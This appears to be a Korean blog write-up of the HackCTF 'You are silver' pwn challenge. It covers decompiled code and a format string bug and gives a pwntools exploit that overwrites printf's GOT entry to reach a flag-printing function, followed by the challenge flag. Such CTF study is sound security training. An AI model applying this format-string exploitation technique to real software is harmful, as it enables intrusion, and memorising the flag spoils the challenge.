-
You are silverCTF/HackCTF 2021. 2. 1. 20:35
Disassembly 디스어셈블리
undefined8 main(void) { char *format; int32_t var_8h; int64_t var_4h; setvbuf(_reloc.stdout, 0, 2, 0); var_4h._0_4_ = 0x32; puts("Please enter your name"); fgets(&format, 0x2e, _reloc.stdin); printf(); var_8h = get_tier((uint64_t)(uint32_t)var_4h); printf((int64_t)var_8h); return 0; }
main은 fgets로 입력받은 후 printf를 통해 포맷 스트링 버그가 발생한다.
이후 var_4h를 인자로 get_tier를 호출하고, get_tier의 반환값을 인자로 printf를 호출한다.
void get_tier(undefined8 arg1) { undefined8 var_14h; int64_t var_4h; if ((int32_t)arg1 < 0x33) { puts("\nYou are silver."); } else { if (((int32_t)arg1 < 0x42) && (0x32 < (int32_t)arg1)) { puts("\nYou are platinum."); } else { if (((int32_t)arg1 < 0x4c) && (0x41 < (int32_t)arg1)) { puts("\nYou are master."); } else { if (0x4b < (int32_t)arg1) { puts("\nYou are challenger."); } } } } return; }
get_tier는 인자의 값에 따라 1부터 4 사이의 숫자를 리턴해준다.
undefined8 play_game(int64_t arg1) { undefined8 uVar1; int32_t iVar2; int64_t var_4h; iVar2 = (int32_t)arg1; if (iVar2 == 2) { code_r0x00400718: puts("platinum can\'t play game. :("); exit(0); code_r0x0040072e: puts("master can\'t play game. Sorry! :("); exit(0); } else { if (iVar2 < 3) { if (iVar2 != 1) goto code_r0x00400761; puts("SILVER can\'t play game."); exit(0); goto code_r0x00400718; } if (iVar2 == 3) goto code_r0x0040072e; if (iVar2 != 4) goto code_r0x00400761; } puts("Challenger. Take this first!"); system("cat ./flag"); code_r0x00400761: puts("Who are you? get out!"); iVar2 = 0; uVar1 = exit(); }
play_game은 인자가 4일 경우 flag를 출력해준다.
Format String Bug
var_4h가 0x4b보다 크면 get_tier는 4를 반환하고, 이를 인자로 play_game을 호출하면 된다. 따라서 get_tier의 리턴값을 인자로 호출되는 printf의 got를 덮어쓰면 된다. 따라서 버퍼 오버플로우와 포맷 스트링 버그를 통해 var_4h와 got를 한 번에 조작하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./you_are_silver" server = "ctf.j0n9hyun.xyz" port = 3022 context.log_level = 'debug' context.binary = binary p = remote(server, port) e = ELF(binary) def send_payload(payload): log.info("payload = %s" % repr(payload)) p.send(payload) f = FmtStr(send_payload, offset = 6) play_game = e.symbols["play_game"] printf_got = e.got["printf"] f.write(printf_got, play_game) f.execute_writes() payload = b"A"*0x4 payload += b"\x4c" p.sendline(payload) p.interactive()
Flag
HackCTF{N0w_Y0u_4re_b4side_0f_F4K3R}
'CTF > HackCTF' 카테고리의 다른 글
Unexploitable #1 (0) 2021.02.04 ROP (0) 2021.02.01 Gift (0) 2021.02.01 Loot at me (0) 2021.02.01 RTL_Core (0) 2021.02.01